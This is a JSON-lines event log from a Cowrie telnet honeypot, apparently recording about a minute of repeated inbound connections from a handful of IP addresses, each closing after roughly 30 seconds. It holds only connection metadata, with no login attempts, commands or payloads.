{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":38208,"dst_ip":"159.203.135.109","dst_port":23,"session":"d30a1a65f63e","protocol":"telnet","message":"New connection: 154.53.41.252:38208 (159.203.135.109:23) [session: d30a1a65f63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:25.282172Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d16452824134","protocol":"telnet","message":"New connection: 206.130.127.38:47182 (159.203.135.109:23) [session: d16452824134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:25.448593Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":46468,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de7f9fe0ee0","protocol":"telnet","message":"New connection: 206.130.127.38:46468 (159.203.135.109:23) [session: 6de7f9fe0ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:25.571076Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47746,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c54c5fb6ca7","protocol":"telnet","message":"New connection: 206.130.127.38:47746 (159.203.135.109:23) [session: 1c54c5fb6ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:26.296899Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":44098,"dst_ip":"159.203.135.109","dst_port":23,"session":"05cc8ad8bb3e","protocol":"telnet","message":"New connection: 45.95.113.26:44098 (159.203.135.109:23) [session: 05cc8ad8bb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:26.469979Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47970,"dst_ip":"159.203.135.109","dst_port":23,"session":"385dfd2393a0","protocol":"telnet","message":"New connection: 206.130.127.38:47970 (159.203.135.109:23) [session: 385dfd2393a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:26.521231Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":48008,"dst_ip":"159.203.135.109","dst_port":23,"session":"e78540a80fef","protocol":"telnet","message":"New connection: 206.130.127.38:48008 (159.203.135.109:23) [session: e78540a80fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:26.577760Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":44112,"dst_ip":"159.203.135.109","dst_port":23,"session":"085299aa2b4e","protocol":"telnet","message":"New connection: 45.95.113.26:44112 (159.203.135.109:23) [session: 085299aa2b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:27.278825Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":49054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6100e00a940","protocol":"telnet","message":"New connection: 206.130.127.38:49054 (159.203.135.109:23) [session: d6100e00a940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:27.939066Z"}
{"eventid":"cowrie.session.closed","duration":30.588195085525513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:31.021187Z","src_ip":"206.130.127.38","session":"18bf2803b8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":52028,"dst_ip":"159.203.135.109","dst_port":23,"session":"831396387452","protocol":"telnet","message":"New connection: 206.130.127.38:52028 (159.203.135.109:23) [session: 831396387452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:32.174122Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":54222,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d435c9b473","protocol":"telnet","message":"New connection: 206.130.127.38:54222 (159.203.135.109:23) [session: 98d435c9b473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:35.055593Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":55256,"dst_ip":"159.203.135.109","dst_port":23,"session":"048f8d08046e","protocol":"telnet","message":"New connection: 206.130.127.38:55256 (159.203.135.109:23) [session: 048f8d08046e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:36.458939Z"}
{"eventid":"cowrie.session.closed","duration":30.057913541793823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:38.036741Z","src_ip":"206.130.127.38","session":"3450a714b52e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57146,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e0c42134b1","protocol":"telnet","message":"New connection: 206.130.127.38:57146 (159.203.135.109:23) [session: 72e0c42134b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:39.056648Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"5624f1a0fabd","protocol":"telnet","message":"New connection: 206.130.127.38:57214 (159.203.135.109:23) [session: 5624f1a0fabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:39.182939Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":38722,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda651d4b297","protocol":"telnet","message":"New connection: 45.95.113.26:38722 (159.203.135.109:23) [session: dda651d4b297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:39.391082Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":38726,"dst_ip":"159.203.135.109","dst_port":23,"session":"d57c21bed6fc","protocol":"telnet","message":"New connection: 45.95.113.26:38726 (159.203.135.109:23) [session: d57c21bed6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:39.957502Z"}
{"eventid":"cowrie.session.closed","duration":31.09906268119812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:40.201541Z","src_ip":"206.130.127.38","session":"44af7035bfce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":57958,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6989756738e","protocol":"telnet","message":"New connection: 206.130.127.38:57958 (159.203.135.109:23) [session: a6989756738e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:40.265742Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":58038,"dst_ip":"159.203.135.109","dst_port":23,"session":"83b24757b8b9","protocol":"telnet","message":"New connection: 206.130.127.38:58038 (159.203.135.109:23) [session: 83b24757b8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:40.422339Z"}
{"eventid":"cowrie.session.closed","duration":31.115211963653564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:40.615586Z","src_ip":"45.95.113.26","session":"8321ee844dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63152313232422,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:42.925808Z","src_ip":"80.65.211.42","session":"ef56eaea1718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":59814,"dst_ip":"159.203.135.109","dst_port":23,"session":"729a7dcd1675","protocol":"telnet","message":"New connection: 206.130.127.38:59814 (159.203.135.109:23) [session: 729a7dcd1675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:43.121767Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":41556,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed1b8a505c43","protocol":"telnet","message":"New connection: 154.53.41.252:41556 (159.203.135.109:23) [session: ed1b8a505c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:43.354220Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":60186,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ce3ac8efda","protocol":"telnet","message":"New connection: 206.130.127.38:60186 (159.203.135.109:23) [session: 95ce3ac8efda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:43.666077Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":56022,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e5cfbefe97","protocol":"telnet","message":"New connection: 103.211.218.218:56022 (159.203.135.109:23) [session: f2e5cfbefe97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:44.925306Z"}
{"eventid":"cowrie.session.closed","duration":30.39749312400818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:45.018687Z","src_ip":"206.130.127.38","session":"d37e45938f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":33496,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff8665f2768","protocol":"telnet","message":"New connection: 206.130.127.38:33496 (159.203.135.109:23) [session: aff8665f2768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:46.050590Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":46676,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fb236cdc60","protocol":"telnet","message":"New connection: 154.53.41.252:46676 (159.203.135.109:23) [session: d3fb236cdc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:46.753267Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":34648,"dst_ip":"159.203.135.109","dst_port":23,"session":"321243cc8b4c","protocol":"telnet","message":"New connection: 206.130.127.38:34648 (159.203.135.109:23) [session: 321243cc8b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:47.636717Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":34838,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8bd92143df7","protocol":"telnet","message":"New connection: 206.130.127.38:34838 (159.203.135.109:23) [session: c8bd92143df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:47.920649Z"}
{"eventid":"cowrie.session.closed","duration":30.70222783088684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:48.037428Z","src_ip":"206.130.127.38","session":"277d342127cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43184185028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:48.065418Z","src_ip":"206.130.127.38","session":"35c054da8be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":36038,"dst_ip":"159.203.135.109","dst_port":23,"session":"061b987c9211","protocol":"telnet","message":"New connection: 206.130.127.38:36038 (159.203.135.109:23) [session: 061b987c9211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:49.623434Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.95.113.26","src_port":46150,"dst_ip":"159.203.135.109","dst_port":23,"session":"1db991f9f605","protocol":"telnet","message":"New connection: 45.95.113.26:46150 (159.203.135.109:23) [session: 1db991f9f605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:49.845634Z"}
{"eventid":"cowrie.session.closed","duration":31.690897464752197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:50.512973Z","src_ip":"80.65.211.42","session":"692a78638361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07648539543152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:51.169173Z","src_ip":"206.130.127.38","session":"032326de6383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110031366348267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:51.930276Z","src_ip":"206.130.127.38","session":"c0cb52d00272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":37598,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c48740b9ba1","protocol":"telnet","message":"New connection: 206.130.127.38:37598 (159.203.135.109:23) [session: 7c48740b9ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:52.068548Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":37794,"dst_ip":"159.203.135.109","dst_port":23,"session":"f85ba3a917aa","protocol":"telnet","message":"New connection: 206.130.127.38:37794 (159.203.135.109:23) [session: f85ba3a917aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:52.381497Z"}
{"eventid":"cowrie.session.closed","duration":31.149781227111816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:52.839934Z","src_ip":"206.130.127.38","session":"50ccf4cd8668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.572887420654297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:53.717421Z","src_ip":"206.130.127.38","session":"4e1438386df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763436317443848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:54.018524Z","src_ip":"206.130.127.38","session":"55ee94fb264e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35184073448181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:54.022589Z","src_ip":"206.130.127.38","session":"17aeafe9523c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":42052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0370e866693e","protocol":"telnet","message":"New connection: 69.65.3.189:42052 (10.17.0.5:23) [session: 0370e866693e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:54.745501Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":39568,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be4d482805b","protocol":"telnet","message":"New connection: 206.130.127.38:39568 (159.203.135.109:23) [session: 8be4d482805b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:54.952224Z"}
{"eventid":"cowrie.session.closed","duration":30.828360319137573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:55.020246Z","src_ip":"206.130.127.38","session":"e9142168928c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.497230529785156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:55.024428Z","src_ip":"206.130.127.38","session":"3475083ee84d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973950386047363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:55.074570Z","src_ip":"206.130.127.38","session":"88098f72b309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58170175552368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:56.030189Z","src_ip":"206.130.127.38","session":"d16452824134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507331132888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:56.078309Z","src_ip":"206.130.127.38","session":"6de7f9fe0ee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913578748703003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:56.195626Z","src_ip":"154.53.41.252","session":"d30a1a65f63e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59354829788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:57.063405Z","src_ip":"45.95.113.26","session":"05cc8ad8bb3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4942684173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:57.071925Z","src_ip":"206.130.127.38","session":"e78540a80fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":41138,"dst_ip":"159.203.135.109","dst_port":23,"session":"9566e0593726","protocol":"telnet","message":"New connection: 206.130.127.38:41138 (159.203.135.109:23) [session: 9566e0593726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:57.197444Z"}
{"eventid":"cowrie.session.closed","duration":31.00151538848877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:57.298275Z","src_ip":"206.130.127.38","session":"1c54c5fb6ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.405279636383057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:57.926391Z","src_ip":"206.130.127.38","session":"385dfd2393a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":37942,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f1a9409cb8f","protocol":"telnet","message":"New connection: 154.53.41.252:37942 (159.203.135.109:23) [session: 9f1a9409cb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:58.417269Z"}
{"eventid":"cowrie.session.closed","duration":30.593440532684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:58.532382Z","src_ip":"206.130.127.38","session":"d6100e00a940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.528407335281372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:58.807148Z","src_ip":"45.95.113.26","session":"085299aa2b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":43032,"dst_ip":"159.203.135.109","dst_port":23,"session":"78a9b73eb179","protocol":"telnet","message":"New connection: 206.130.127.38:43032 (159.203.135.109:23) [session: 78a9b73eb179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:08:59.779257Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":43912,"dst_ip":"159.203.135.109","dst_port":23,"session":"4def5663f2ce","protocol":"telnet","message":"New connection: 206.130.127.38:43912 (159.203.135.109:23) [session: 4def5663f2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:00.922427Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":58896,"dst_ip":"159.203.135.109","dst_port":23,"session":"0545ae467418","protocol":"telnet","message":"New connection: 80.65.211.42:58896 (159.203.135.109:23) [session: 0545ae467418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:00.990664Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"52d51eb687f0","protocol":"telnet","message":"New connection: 154.53.41.252:42552 (159.203.135.109:23) [session: 52d51eb687f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:01.290013Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":42898,"dst_ip":"159.203.135.109","dst_port":23,"session":"169635f2d93c","protocol":"telnet","message":"New connection: 154.53.41.252:42898 (159.203.135.109:23) [session: 169635f2d93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:01.520930Z"}
{"eventid":"cowrie.session.closed","duration":31.336041688919067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:03.510068Z","src_ip":"206.130.127.38","session":"831396387452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.211.218.218","src_port":57360,"dst_ip":"159.203.135.109","dst_port":23,"session":"a55706edd1c0","protocol":"telnet","message":"New connection: 103.211.218.218:57360 (159.203.135.109:23) [session: a55706edd1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:03.845612Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":49114,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dda6032e586","protocol":"telnet","message":"New connection: 154.53.41.252:49114 (159.203.135.109:23) [session: 4dda6032e586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:05.756998Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":49198,"dst_ip":"159.203.135.109","dst_port":23,"session":"11ef7252cec4","protocol":"telnet","message":"New connection: 154.53.41.252:49198 (159.203.135.109:23) [session: 11ef7252cec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:05.809926Z"}
{"eventid":"cowrie.session.closed","duration":31.032482385635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:06.087960Z","src_ip":"206.130.127.38","session":"98d435c9b473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631697177886963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:07.090524Z","src_ip":"206.130.127.38","session":"048f8d08046e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":51530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e49fbba96f10","protocol":"telnet","message":"New connection: 154.53.41.252:51530 (159.203.135.109:23) [session: e49fbba96f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:07.402685Z"}
{"eventid":"cowrie.session.closed","duration":30.85086965560913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:10.033704Z","src_ip":"206.130.127.38","session":"5624f1a0fabd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01109504699707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:10.067580Z","src_ip":"206.130.127.38","session":"72e0c42134b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199109315872192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:10.590102Z","src_ip":"45.95.113.26","session":"dda651d4b297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780126333236694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:11.045739Z","src_ip":"206.130.127.38","session":"a6989756738e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67783808708191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:11.100070Z","src_ip":"206.130.127.38","session":"83b24757b8b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":57180,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7d914b4c536","protocol":"telnet","message":"New connection: 154.53.41.252:57180 (159.203.135.109:23) [session: d7d914b4c536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:11.125540Z"}
{"eventid":"cowrie.session.closed","duration":31.342873096466064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:11.300275Z","src_ip":"45.95.113.26","session":"d57c21bed6fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":51924,"dst_ip":"159.203.135.109","dst_port":23,"session":"84222d67beb0","protocol":"telnet","message":"New connection: 206.130.127.38:51924 (159.203.135.109:23) [session: 84222d67beb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:09:12.200423Z"}
